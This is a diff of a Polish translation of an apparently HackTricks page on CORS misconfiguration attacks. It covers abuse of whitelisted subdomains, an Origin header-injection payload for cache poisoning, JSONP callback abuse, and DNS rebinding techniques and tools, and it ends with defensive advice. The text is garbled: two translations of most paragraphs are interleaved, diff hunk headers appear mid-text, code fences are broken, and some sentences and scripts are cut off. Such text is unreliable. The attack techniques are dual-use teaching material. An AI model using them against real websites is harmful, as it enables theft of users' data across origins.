Programiści często wprowadzają mechanizmy obronne, aby chronić się przed wykorzystaniem CORS poprzez uwzględnienie na białej liście domen, które mają uprawnienia do żądania informacji. Pomimo tych środków ostrożności, bezpieczeństwo systemu nie jest w pełni niezawodne. Obecność nawet jednej podatnej subdomeny na liście domen z białej listy może otworzyć drzwi do wykorzystania CORS poprzez inne podatności, takie jak XSS (Cross-Site Scripting).
Programiści często implementują mechanizmy obronne, aby chronić się przed eksploatacją CORS poprzez uwzględnienie na białej liście domen, które mają zezwolenie na żądanie informacji. Pomimo tych środków ostrożności, bezpieczeństwo systemu nie jest niezawodne. Obecność nawet jednej podatnej subdomeny wśród domen z białej listy może otworzyć drzwi do eksploatacji CORS poprzez inne podatności, takie jak XSS (Cross-Site Scripting).
Aby to zilustrować, rozważmy scenariusz, w którym domena `requester.com` jest na białej liście, aby uzyskać dostęp do zasobów z innej domeny, `provider.com`. Konfiguracja po stronie serwera może wyglądać tak:
Dla przykładu, rozważmy scenariusz, w którym domena `requester.com` jest na białej liście do uzyskiwania zasobów z innej domeny, `provider.com`. Konfiguracja po stronie serwera mogłaby wyglądać mniej więcej tak:
```javascript
if ($_SERVER['HTTP_HOST'] == '*.requester.com') {
// Access data
@ -210,44 +206,42 @@ if ($_SERVER['HTTP_HOST'] == '*.requester.com') {
// Unauthorized access
}
```
W tej konfiguracji, wszystkie subdomeny `requester.com` mają dozwolony dostęp. Jednakże, jeśli subdomena, na przykład `sub.requester.com`, zostanie skompromitowana poprzez podatność na XSS, atakujący może wykorzystać tę słabość. Na przykład, atakujący mający dostęp do `sub.requester.com` może wykorzystać podatność na XSS, aby ominąć polityki CORS i nielegalnie uzyskać dostęp do zasobów na `provider.com`.
W tej konfiguracji wszystkie subdomeny `requester.com` mają zezwolenie na dostęp. Jednakże, jeśli subdomena, na przykład `sub.requester.com`, zostanie skompromitowana z podatnością XSS, atakujący może wykorzystać tę słabość. Na przykład atakujący mający dostęp do `sub.requester.com` mógłby wykorzystać podatność XSS do obejścia zasad CORS i złośliwie uzyskać dostęp do zasobów na `provider.com`.
### **Zatrucie pamięci podręcznej po stronie serwera**
**[Z tej publikacji naukowej](https://portswigger.net/research/exploiting-cors-misconfigurations-for-bitcoins-and-bounties)**
[**Z tej publikacji**](https://portswigger.net/research/exploiting-cors-misconfigurations-for-bitcoins-and-bounties)
Możliwe jest, że poprzez wykorzystanie zatrucia pamięci podręcznej po stronie serwera za pomocą wstrzyknięcia nagłówka HTTP, można wywołać przechowywaną podatność na Cross-Site Scripting (XSS). Ten scenariusz rozgrywa się, gdy aplikacja nie oczyszcza nagłówka `Origin` z niedozwolonych znaków, co tworzy podatność szczególnie dla użytkowników przeglądarek Internet Explorer i Edge. Te przeglądarki traktują znak `\r` (0x0d) jako prawidłowy terminator nagłówka HTTP, co prowadzi do podatności na wstrzyknięcie nagłówka HTTP.
Istnieje możliwość wykorzystania zatrucia pamięci podręcznej po stronie serwera poprzez wstrzyknięcie nagłówka HTTP, co może spowodować wywołanie przechowywanej podatności na Cross-Site Scripting (XSS). Ten scenariusz ma miejsce, gdy aplikacja nie oczyszcza nagłówka `Origin` z nielegalnych znaków, tworząc podatność szczególnie dla użytkowników Internet Explorer i Edge. Te przeglądarki traktują (0x0d) jako prawidłowy terminator nagłówka HTTP, co prowadzi do podatności na wstrzykiwanie nagłówków HTTP.
Rozważmy następujące żądanie, w którym manipulowany jest nagłówek `Origin`:
```text
Rozważmy poniższe żądanie, w którym nagłówek `Origin` jest manipulowany:
```
GET / HTTP/1.1
Origin: z[0x0d]Content-Type: text/html; charset=UTF-7
```
Internet Explorer i Edge interpretują odpowiedź jako:
```text
```
HTTP/1.1 200 OK
Access-Control-Allow-Origin: z
Content-Type: text/html; charset=UTF-7
```
Podczas bezpośredniego wykorzystania tej podatności poprzez wysłanie błędnie sformułowanego nagłówka przez przeglądarkę internetową nie jest możliwe, można jednak ręcznie wygenerować spreparowane żądanie za pomocą narzędzi takich jak Burp Suite. Metoda ta może prowadzić do zapisania odpowiedzi w pamięci podręcznej serwera i nieumyślnego jej udostępnienia innym. Spreparowany ładunek ma na celu zmianę zestawu znaków strony na UTF-7, kodowanie znaków często związane z podatnościami XSS ze względu na możliwość kodowania znaków w taki sposób, że mogą być wykonane jako skrypt w określonych kontekstach.
Podczas bezpośredniego wykorzystania tej podatności poprzez wysłanie błędnego nagłówka przez przeglądarkę internetową nie jest wykonalne, można ręcznie generować spreparowane żądania za pomocą narzędzi takich jak Burp Suite. Ta metoda może spowodować, że serwerowa pamięć podręczna zapisze odpowiedź i nieumyślnie udostępni ją innym. Spreparowany ładunek ma na celu zmianę zestawu znaków strony na UTF-7, kodowanie znaków często kojarzone z podatnościami XSS ze względu na zdolność kodowania znaków w taki sposób, że mogą być wykonane jako skrypt w określonych kontekstach.
Aby dowiedzieć się więcej na temat podatności XSS przechowywanych, zobacz [PortSwigger](https://portswigger.net/web-security/cross-site-scripting/stored).
**Uwaga**: Wykorzystanie podatności na wstrzykiwanie nagłówków HTTP, zwłaszcza poprzez zatrucie pamięci podręcznej po stronie serwera, podkreśla kluczowe znaczenie walidacji i oczyszczania wszelkich dostarczanych przez użytkownika danych, w tym nagłówków HTTP. Zawsze stosuj solidny model zabezpieczeń, który obejmuje walidację danych wejściowych, aby zapobiec takim podatnościom.
Aby uzyskać więcej informacji na temat podatności stored XSS, zobacz [PortSwigger](https://portswigger.net/web-security/cross-site-scripting/stored).
**Uwaga**: Wykorzystanie podatności na wstrzykiwanie nagłówków HTTP, zwłaszcza poprzez zatrucie serwerowej pamięci podręcznej, podkreśla kluczowe znaczenie walidacji i oczyszczania wszystkich dostarczanych przez użytkownika danych, w tym nagłówków HTTP. Zawsze stosuj solidny model bezpieczeństwa, który obejmuje walidację danych wejściowych, aby zapobiec takim podatnościom.
### **Zatrucie pamięci podręcznej po stronie klienta**
**[Z tej publikacji](https://portswigger.net/research/exploiting-cors-misconfigurations-for-bitcoins-and-bounties)**
[Z tej publikacji](https://portswigger.net/research/exploiting-cors-misconfigurations-for-bitcoins-and-bounties)
W tym scenariuszu zaobserwowano wystąpienie strony internetowej odzwierciedlającej zawartość niestandardowego nagłówka HTTP bez odpowiedniego kodowania. Konkretnie, strona internetowa odzwierciedla zawartość zawartą w nagłówku `X-User-id`, który może zawierać złośliwy kod JavaScript, jak pokazano na przykładzie, gdzie nagłówek zawiera znacznik obrazu SVG zaprojektowany do wykonania kodu JavaScript podczas ładowania.
W tym scenariuszu zaobserwowano instancję strony internetowej odzwierciedlającej zawartość niestandardowego nagłówka HTTP bez odpowiedniego kodowania. Konkretnie, strona internetowa odzwierciedla zawartość zawartą w nagłówku `X-User-id`, który może zawierać złośliwy JavaScript, jak pokazano na przykładzie, gdzie nagłówek zawiera tag obrazu SVG zaprojektowany do wykonania kodu JavaScript podczas ładowania.
Polityki Cross-Origin Resource Sharing (CORS) umożliwiają wysyłanie niestandardowych nagłówków. Jednak bez bezpośredniego renderowania odpowiedzi przez przeglądarkę ze względu na ograniczenia CORS, użyteczność takiego wstrzyknięcia może wydawać się ograniczona. Krytyczny punkt pojawia się, gdy rozważa się zachowanie pamięci podręcznej przeglądarki. Jeśli nie jest określony nagłówek `Vary: Origin`, możliwe staje się zapisanie złośliwej odpowiedzi w pamięci podręcznej przeglądarki. Następnie ta zapisana odpowiedź może być renderowana bezpośrednio podczas nawigacji do adresu URL, omijając konieczność bezpośredniego renderowania podczas początkowego żądania. Mechanizm ten zwiększa niezawodność ataku poprzez wykorzystanie pamięci podręcznej po stronie klienta.
Polityki Cross-Origin Resource Sharing (CORS) pozwalają na wysyłanie niestandardowych nagłówków. Jednakże, bez bezpośredniego renderowania odpowiedzi przez przeglądarkę ze względu na ograniczenia CORS, użyteczność takiego wstrzyknięcia może wydawać się ograniczona. Istotny punkt pojawia się przy rozważeniu zachowania pamięci podręcznej przeglądarki. Jeśli nagłówek `Vary: Origin` nie jest określony, staje się możliwe, aby złośliwa odpowiedź została zapisana w pamięci podręcznej przeglądarki. W rezultacie ta zapisana odpowiedź może być renderowana bezpośrednio podczas nawigacji do adresu URL, omijając konieczność bezpośredniego renderowania podczas początkowego żądania. Ten mechanizm zwiększa niezawodność ataku poprzez wykorzystanie pamięci podręcznej po stronie klienta.
Aby zilustrować ten atak, przedstawiono przykład skryptu JavaScript, który ma być wykonany w środowisku strony internetowej, na przykład za pomocą JSFiddle. Ten skrypt wykonuje prostą czynność: wysyła żądanie do określonego adresu URL z niestandardowym nagłówkiem zawierającym złośliwy kod JavaScript. Po pomyślnym zakończeniu żądania próbuje nawigować do docelowego adresu URL, co potencjalnie może spowodować wykonanie wstrzykniętego skryptu, jeśli odpowiedź została zapisana w pamięci podręcznej bez odpowiedniego obsługiwania nagłówka `Vary: Origin`.
Aby zilustrować ten atak, dostarczony jest przykład skryptu JavaScript, zaprojektowanego do wykonania w środowisku strony internetowej, na przykład poprzez JSFiddle. Ten skrypt wykonuje prostą czynność: wysyła żądanie pod wskazany adres URL z niestandardowym nagłówkiem zawierającym złośliwy JavaScript. Po pomyślnym zakończeniu żądania, próbuje nawigować do docelowego adresu URL, potencjalnie wywołując wykonanie wstrzykniętego skryptu, jeśli odpowiedź została zapisana w pamięci podręcznej bez właściwego obsługiwania nagłówka `Vary: Origin`.
Poniżej przedstawiono podsumowanie użytego skryptu JavaScript do wykonania tego ataku:
Oto zwięzłe podsumowanie użytego JavaScriptu do wykonania tego ataku:
```html
<script>
function gotcha() { location=url }
@ -263,105 +257,114 @@ req.send();
### XSSI (Cross-Site Script Inclusion) / JSONP
XSSI, znane również jako Cross-Site Script Inclusion, to rodzaj podatności, który wykorzystuje fakt, że Same Origin Policy (SOP) nie ma zastosowania podczas dołączania zasobów za pomocą znacznika skryptu. Wynika to z faktu, że skrypty muszą być dołączane z różnych domen. Ta podatność umożliwia atakującemu dostęp i odczytanie dowolnej zawartości, która została dołączona za pomocą znacznika skryptu.
XSSI, znane również jako Cross-Site Script Inclusion, to rodzaj podatności, który wykorzystuje fakt, że Polityka Jednego Źródła (SOP) nie ma zastosowania podczas dołączania zasobów za pomocą tagu skryptu. Dzieje się tak dlatego, że skrypty muszą być w stanie być dołączane z różnych domen. Ta podatność pozwala atakującemu uzyskać dostęp i odczytać dowolne treści dołączone za pomocą tagu skryptu.
Ta podatność staje się szczególnie istotna w przypadku dynamicznego JavaScriptu lub JSONP (JSON z Paddingiem), zwłaszcza gdy używane są informacje o uprawnieniach, takie jak ciasteczka, do uwierzytelniania. Podczas żądania zasobu z innej hosta, ciasteczka są dołączane, co umożliwia atakującemu ich dostęp.
Ta podatność staje się szczególnie istotna, gdy chodzi o dynamiczny JavaScript lub JSONP (JSON z Paddingiem), zwłaszcza gdy informacje o uprawnieniach, takie jak ciasteczka, są używane do uwierzytelniania. Podczas żądania zasobu z innej hosta, ciasteczka są dołączane, co czyni je dostępnymi dla atakującego.
Aby lepiej zrozumieć i złagodzić tę podatność, można skorzystać z wtyczki BurpSuite dostępnej pod adresem [https://github.com/kapytein/jsonp](https://github.com/kapytein/jsonp). Ta wtyczka może pomóc zidentyfikować i rozwiązać potencjalne podatności XSSI w Twoich aplikacjach internetowych.
Aby lepiej zrozumieć i złagodzić tę podatność, można skorzystać z wtyczki BurpSuite dostępnej pod adresem [https://github.com/kapytein/jsonp](https://github.com/kapytein/jsonp). Ta wtyczka może pomóc zidentyfikować i rozwiązać potencjalne podatności XSSI w aplikacjach internetowych.
[**Dowiedz się więcej o różnych typach XSSI i jak je wykorzystać tutaj.**](xssi-cross-site-script-inclusion.md)
Spróbuj dodać **parametr `callback`** w żądaniu. Być może strona została przygotowana do wysyłania danych jako JSONP. W takim przypadku strona zwróci dane z `Content-Type: application/javascript`, co umożliwi obejście polityki CORS.
Spróbuj dodać **`callback`** **parametr** w żądaniu. Być może strona została przygotowana do wysyłania danych jako JSONP. W takim przypadku strona zwróci dane z `Content-Type: application/javascript`, co ominie politykę CORS.
![](<../.gitbook/assets/image (229).png>)
### Łatwe (bezużyteczne?) obejście
### Łatwe (bezużyteczne?) ominiecie
Jednym ze sposobów obejścia ograniczenia `Access-Control-Allow-Origin` jest poproszenie aplikacji internetowej o wykonanie żądania w Twoim imieniu i odesłanie odpowiedzi. Jednak w tym scenariuszu dane uwierzytelniające ostatecznej ofiary nie zostaną wysłane, ponieważ żądanie jest wykonywane do innej domeny.
Jednym ze sposobów na obejście ograniczenia `Access-Control-Allow-Origin` jest poproszenie aplikacji internetowej o wykonanie żądania w twoim imieniu i odesłanie odpowiedzi. Jednakże, w tym scenariuszu, dane uwierzytelniające ostatecznej ofiary nie zostaną wysłane, ponieważ żądanie jest skierowane do innej domeny.
1. [**CORS-escape**](https://github.com/shalvah/cors-escape): Narzędzie to dostarcza serwer proxy, który przekazuje Twoje żądanie wraz z nagłówkami, jednocześnie podszywając się pod nagłówek Origin, aby pasował do żądanej domeny. To skutecznie omija politykę CORS. Oto przykład użycia z XMLHttpRequest:
2. [**simple-cors-escape**](https://github.com/shalvah/simple-cors-escape): Narzędzie to oferuje alternatywne podejście do przekazywania żądania. Zamiast przekazywać Twoje żądanie w niezmienionej postaci, serwer wykonuje własne żądanie z określonymi parametrami.
1. [**CORS-escape**](https://github.com/shalvah/cors-escape): Narzędzie to dostarcza serwer proxy, który przekazuje twoje żądanie wraz z nagłówkami, jednocześnie podszywając się pod nagłówek Origin, aby pasował do żądanej domeny. W ten sposób efektywnie omija się politykę CORS. Oto przykładowe użycie z XMLHttpRequest:
2. [**simple-cors-escape**](https://github.com/shalvah/simple-cors-escape): To narzędzie oferuje alternatywne podejście do przekazywania żądania. Zamiast przekazywać twoje żądanie w oryginalnej postaci, serwer wykonuje własne żądanie z określonymi parametrami.
### Ominięcie za pomocą Iframe + Popup
Możesz **obejść sprawdzanie CORS**, takie jak `e.origin === window.origin`, tworząc iframe i otwierając z niego nowe okno. Więcej informacji na następnej stronie:
Możesz **obejść sprawdzenia CORS**, takie jak `e.origin === window.origin`, **tworząc iframe** i **z niego otwierając nowe okno**. Więcej informacji na następnej stronie:
{% content-ref url="xss-cross-site-scripting/iframes-in-xss-and-csp.md" %}
[iframes-in-xss-and-csp.md](xss-cross-site-scripting/iframes-in-xss-and-csp.md)
{% endcontent-ref %}
### DNS Rebinding za pomocą TTL
### Przełączanie DNS za pomocą TTL
DNS rebinding za pomocą TTL to technika wykorzystywana do obejścia pewnych środków bezpieczeństwa poprzez manipulowanie rekordami DNS. Oto jak to działa:
Przełączanie DNS za pomocą TTL to technika używana do obejścia pewnych środków bezpieczeństwa poprzez manipulowanie rekordami DNS. Oto jak to działa:
1. Atakujący tworzy stronę internetową i zmusza ofiarę do jej odwiedzenia.
1. Atakujący tworzy stronę internetową i sprawia, że ofiara ją odwiedza.
2. Następnie atakujący zmienia DNS (IP) swojej własnej domeny, aby wskazywał na stronę internetową ofiary.
3. Przeglądarka ofiary buforuje odpowiedź DNS, która może zawierać wartość TTL (Time to Live), określającą, jak długo rekord DNS powinien być uważany za ważny.
4. Po upływie TTL przeglądarka ofiary wysyła nowe żądanie DNS, umożliwiając atakującemu wykonanie kodu JavaScript na stronie ofiary.
5. Utrzymując kontrolę nad adresem IP ofiary, atakujący może zbierać informacje z ofiary, nie wysyłając żadnych ciasteczek do serwera ofiary.
4. Gdy TTL wygaśnie, przeglądarka ofiary wysyła nowe żądanie DNS, pozwalając atakującemu na wykonanie kodu JavaScript na stronie ofiary.
5. Utrzymując kontrolę nad IP ofiary, atakujący może zbierać informacje od ofiary bez wysyłania jakichkolwiek ciasteczek na serwer ofiary.
Warto zauważyć, że przeglądarki mają mechanizmy buforowania, które mogą zapobiec natychmiastowemu wykorzystaniu tej techniki, nawet przy niskich wartościach TTL.
Warto zauważyć, że przeglądarki mają mechanizmy buforowania, które mogą zapobiec natychmiastowemu nadużyciu tej techniki, nawet przy niskich wartościach TTL.
DNS rebinding może być przydatny do obejścia jawnych sprawdzeń IP przeprowadzanych przez ofiarę lub w przypadkach, gdy użytkownik lub bot pozostaje na tej samej stronie przez dłuższy czas, co pozwala na wygaśnięcie bufora.
Przełączanie DNS może być przydatne do obejścia jawnego sprawdzania IP przeprowadzanego przez ofiarę lub w scenariuszach, w których użytkownik lub bot pozostaje na tej samej stronie przez długi czas, pozwalając buforowi wygasnąć.
Jeśli potrzebujesz szybkiego sposobu na wykorzystanie DNS rebinding, możesz skorzystać z usług takich jak [https://lock.cmpxchg8b.com/rebinder.html](https://lock.cmpxchg8b.com/rebinder.html).
Jeśli potrzebujesz szybkiego sposobu na nadużycie przełączania DNS, możesz skorzystać z usług takich jak [https://lock.cmpxchg8b.com/rebinder.html](https://lock.cmpxchg8b.com/rebinder.html).
Aby uruchomić własny serwer DNS rebinding, możesz skorzystać z narzędzi takich jak **DNSrebinder** ([https://github.com/mogwailabs/DNSrebinder](https://github.com/mogwailabs/DNSrebinder)). Wymaga to udostępnienia lokalnego portu 53/udp, utworzenia rekordu A wskazującego na ten port (np. ns.example.com) i utworzenia rekordu NS wskazującego na wcześniej utworzoną poddomenę A (np. ns.example.com). Każda poddomena poddomeny ns.example.com będzie wówczas rozwiązywana przez Twój host.
Aby uruchomić własny serwer przełączania DNS, możesz skorzystać z narzędzi takich jak **DNSrebinder** ([https://github.com/mogwailabs/DNSrebinder](https://github.com/mogwailabs/DNSrebinder)). Wymaga to wystawienia lokalnego portu 53/udp, utworzenia rekordu A wskazującego na niego (np. ns.example.com) oraz utworzenia rekordu NS wskazującego na wcześniej utworzoną poddomenę A (np. ns.example.com). Każda poddomena poddomeny ns.example.com będzie wówczas rozwiązywana przez twój host.
Możesz również korzystać z publicznie działającego serwera pod adresem [http://rebind.it/singularity.html](http://rebind.it/singularity.html), aby lepiej zrozumieć i eksperymentować.
Możesz także skorzystać z publicznie działającego serwera pod adresem [http://rebind.it/singularity.html](http://rebind.it/singularity.html) dla dalszego zrozumienia i eksperymentowania.
### DNS Rebinding za pomocą **zalewu pamięci podręcznej DNS**
### Przełączanie DNS za pomocą **Zatłoczenia Pamięci Cache DNS**
DNS rebinding za pomocą zalewu pamięci podręcznej DNS to kolejna technika wykorzystywana do obejścia mechanizmu buforowania przeglądarek i wymuszenia drugiego żądania DNS. Oto jak to działa:
Przełączanie DNS za pomocą zatłoczenia pamięci cache DNS to kolejna technika używana do obejścia mechanizmu buforowania przeglądarek i wymuszenia drugiego żądania DNS. Oto jak to działa:
1. Na początku, gdy ofiara wysyła żądanie DNS, otrzymuje adres IP atakującego.
2. Aby obejść obronę buforowania, atakujący wykorzystuje usługę pracownika usługi. Pracownik usługi zalewa pamięć podręczną DNS, co skutecznie usuwa buforowany nazwę serwera atakującego.
1. Początkowo, gdy ofiara wysyła żądanie DNS, otrzymuje odpowiedź z adresem IP atakującego.
2. Aby ominąć obronę buforowania, atakujący wykorzystuje pracownika usługi. Pracownik usługi zatłacza pamięć cache DNS, co efektywnie usuwa zbuforowaną nazwę serwera atakującego.
3. Gdy przeglądarka ofiary wysyła drugie żądanie DNS, otrzymuje teraz adres IP 127.0.0.1, który zazwyczaj odnosi się do lokalnego hosta.
Poprzez zalewanie pamięci podręcznej DNS za pomocą pracownika usługi, atakujący może manipulować procesem rozwiązywania DNS i wymusić drugie żądanie przeglądarki ofiary, tym razem rozwiązując na żądany przez atakującego adres IP.
Poprzez zatłoczenie pamięci cache DNS za pomocą pracownika usługi, atakujący może manipulować procesem rozwiązywania DNS i zmusić przeglądarkę ofiary do wysłania drugiego żądania, tym razem rozwiązując się na adres IP atakującego.
### DNS Rebinding za pomocą **pamięci podręcznej**
### Przełączanie DNS za pomocą **Pamięci Cache**
Innym sposobem obejścia obrony buforowania jest wykorzystanie wielu adresów IP dla tej samej poddomeny w dostawcy DNS. Oto jak to działa:
Innym sposobem na obejście obrony buforowania jest wykorzystanie wielu adresów IP dla tej samej poddomeny w dostawcy DNS. Oto jak to działa:
1. Atakujący ustawia dwa rekordy A (lub pojedynczy rekord A z dwoma adresami IP) dla tej samej poddomeny w dostawcy DNS.
1. Atakujący ustawia dwa rekordy A (lub pojedynczy rekord A z dwoma IP) dla tej samej poddomeny w dostawcy DNS.
2. Gdy przeglądarka sprawdza te rekordy, otrzymuje oba adresy IP.
3. Jeśli przeglądarka zdecyduje się najpierw użyć adresu IP atakującego, atakujący może dostarczyć payload, który wykonuje żądania HTTP do tej samej domeny.
4. Jednak po uzyskaniu adresu IP ofiary, atakujący przestaje odpowiadać przeglądarce ofiary.
5. Przeglądarka ofiary, po stwierdzeniu, że domena nie odpowiada, przechodzi do użycia drugiego podanego adresu IP.
6. Przez dostęp do drugiego adresu IP przeglądarka omija politykę Same Origin Policy (SOP), co umożliwia atakującemu wykorzystanie tego i pozyskanie informacji oraz ich eksfiltrację.
3. Jeśli przeglądarka zdecyduje się najpierw użyć adresu IP atakującego, atakujący może dostarczyć ładunek, który wykonuje żądania HTTP do tej samej domeny.
4. Jednak gdy atakujący uzyska adres IP ofiary, przestaje odpowiadać przeglądarce ofiary.
5. Przeglądarka ofiary, po zauważeniu, że domena jest niedostępna, przechodzi do użycia drugiego podanego adresu IP.
6. Poprzez dostęp do drugiego adresu IP, przeglądarka omija Politykę Jednego Źródła (SOP), pozwalając atakującemu na nadużycie tego i pozyskiwanie oraz eksfiltrację informacji.
Ta technika wykorzystuje zachowanie przeglądarek, gdy dla domeny podawane są multiple adresy IP. Poprzez strategiczne kontrolowanie odpowiedzi i manipulowanie wyborem adresu IP przez przeglądarkę, atakujący może wy
### Inne powszechne obejścia
Ta technika wykorzystuje zachowanie przeglądarek, gdy dostarczane są im multiple adresy IP dla domeny. Poprzez strategiczne kontrolowanie odpowiedzi i manipulowanie wyborem adresu IP przez przeglądarkę, atakujący może wykorzystać SOP i uzyskać dostęp do informacji od ofiary.
* Jeśli **nie są dozwolone wewnętrzne adresy IP**, mogli **zapomnieć zakazać 0.0.0.0** (działa w systemach Linux i Mac)
* Jeśli **nie są dozwolone wewnętrzne adresy IP**, odpowiedz z **CNAME** do **localhost** (działa w systemach Linux i Mac)
* Jeśli **nie są dozwolone wewnętrzne adresy IP** jako odpowiedzi DNS, można odpowiedzieć **CNAME na wewnętrzne usługi**, takie jak www.corporate.internal.
{% hint style="warning" %}
Zauważ, że aby uzyskać dostęp do localhost, powinieneś spróbować przypisać ponownie **127.0.0.1** w systemie Windows i **0.0.0.0** w systemie Linux.\
Dostawcy takie jak godaddy lub cloudflare nie pozwoliły mi na użycie adresu IP 0.0.0.0, ale AWS route53 pozwoliło mi utworzyć jeden rekord A z 2 adresami IP, z których jeden to "0.0.0.0"
<img src="../.gitbook/assets/image (638) (2) (1) (1) (1).png" alt="" data-size="original">
{% endhint %}
Aby uzyskać więcej informacji, możesz sprawdzić [https://unit42.paloaltonetworks.com/dns-rebinding/](https://unit42.paloaltonetworks.com/dns-rebinding/)
### Inne powszechne metody obchodzenia
* Jeśli **wewnętrzne adresy IP nie są dozwolone**, mogą **zapomnieć o zakazaniu 0.0.0.0** (działa w systemach Linux i Mac)
* Jeśli **wewnętrzne adresy IP nie są dozwolone**, odpowiedz **CNAME** na **localhost** (działa w systemach Linux i Mac)
* Jeśli **wewnętrzne adresy IP nie są dozwolone** w odpowiedziach DNS, można odpowiedzieć **CNAME na wewnętrzne usługi** takie jak www.corporate.internal.
### Uzbrojone ataki DNS Rebidding
Więcej informacji na temat poprzednich technik obejścia i jak korzystać z narzędzia można znaleźć w prezentacji [Gerald Doussot - State of DNS Rebinding Attacks & Singularity of Origin - DEF CON 27 Conference](https://www.youtube.com/watch?v=y9-0lICNjOQ).
Więcej informacji na temat poprzednich technik obchodzenia i jak korzystać z następującego narzędzia można znaleźć w prezentacji [Gerald Doussot - State of DNS Rebinding Attacks & Singularity of Origin - Konferencja DEF CON 27](https://www.youtube.com/watch?v=y9-0lICNjOQ).
[**`Singularity of Origin`**](https://github.com/nccgroup/singularity) to narzędzie do przeprowadzania ataków [DNS rebinding](https://en.wikipedia.org/wiki/DNS\_rebinding). Zawiera niezbędne komponenty do ponownego powiązania adresu IP serwera atakującego z adresem IP docelowego komputera oraz do dostarczania ładunków ataku w celu wykorzystania podatnego oprogramowania na docelowym komputerze.
[**`Singularity of Origin`**](https://github.com/nccgroup/singularity) to narzędzie do przeprowadzania ataków [DNS rebinding](https://en.wikipedia.org/wiki/DNS\_rebinding). Zawiera niezbędne komponenty do przypisania adresu IP nazwy DNS serwera atakującego do adresu IP maszyny docelowej i serwowania ładunków ataku w celu wykorzystania podatnego oprogramowania na maszynie docelowej.
### Rzeczywista ochrona przed atakami DNS Rebinding
* Używaj TLS w wewnętrznych usługach
* Wymagaj uwierzytelnienia w celu uzyskania dostępu do danych
* Wymagaj uwierzytelnienia do dostępu do danych
* Sprawdzaj nagłówek Host
* [https://wicg.github.io/private-network-access/](https://wicg.github.io/private-network-access/): Propozycja zawsze wysyłania żądania pre-flight, gdy publiczne serwery chcą uzyskać dostęp do wewnętrznych serwerów
* [https://wicg.github.io/private-network-access/](https://wicg.github.io/private-network-access/): Propozycja zawsze wysyłania żądania pre-flight, gdy serwery publiczne chcą uzyskać dostęp do serwerów wewnętrznych
## **Narzędzia**
**Przeszukaj możliwe błędy w politykach CORS**
**Testuj możliwe błędy konfiguracji w politykach CORS**
* [https://github.com/chenjj/CORScanner](https://github.com/chenjj/CORScanner)
* [https://github.com/lc/theftfuzzer](https://github.com/lc/theftfuzzer)
* [https://github.com/s0md3v/Corsy](https://github.com/s0md3v/Corsy)
* [https://github.com/Shivangx01b/CorsMe](https://github.com/Shivangx01b/CorsMe)
## Odwołania
## Odnośniki
* [https://portswigger.net/web-security/cors](https://portswigger.net/web-security/cors)
* [https://portswigger.net/web-security/cors/access-control-allow-origin](https://portswigger.net/web-security/cors/access-control-allow-origin)
* [https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers#CORS](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers#CORS)
@ -372,17 +375,16 @@ Więcej informacji na temat poprzednich technik obejścia i jak korzystać z nar
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/CORS%20Misconfiguration](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/CORS%20Misconfiguration)
* [https://medium.com/entersoftsecurity/every-bug-bounty-hunter-should-know-the-evil-smile-of-the-jsonp-over-the-browsers-same-origin-438af3a0ac3b](https://medium.com/entersoftsecurity/every-bug-bounty-hunter-should-know-the-evil-smile-of-the-jsonp-over-the-browsers-same-origin-438af3a0ac3b)
<details>
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Inne sposoby wsparcia HackTricks:
* Jeśli chcesz zobaczyć **reklamę swojej firmy w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLAN SUBSKRYPCJI**](https://github.com/sponsors/carlospolop)!
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) **i** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **na GitHubie.**
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>

View file

@ -6,83 +6,89 @@
Inne sposoby wsparcia HackTricks:
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) **i** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **repozytoriów GitHub.**
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
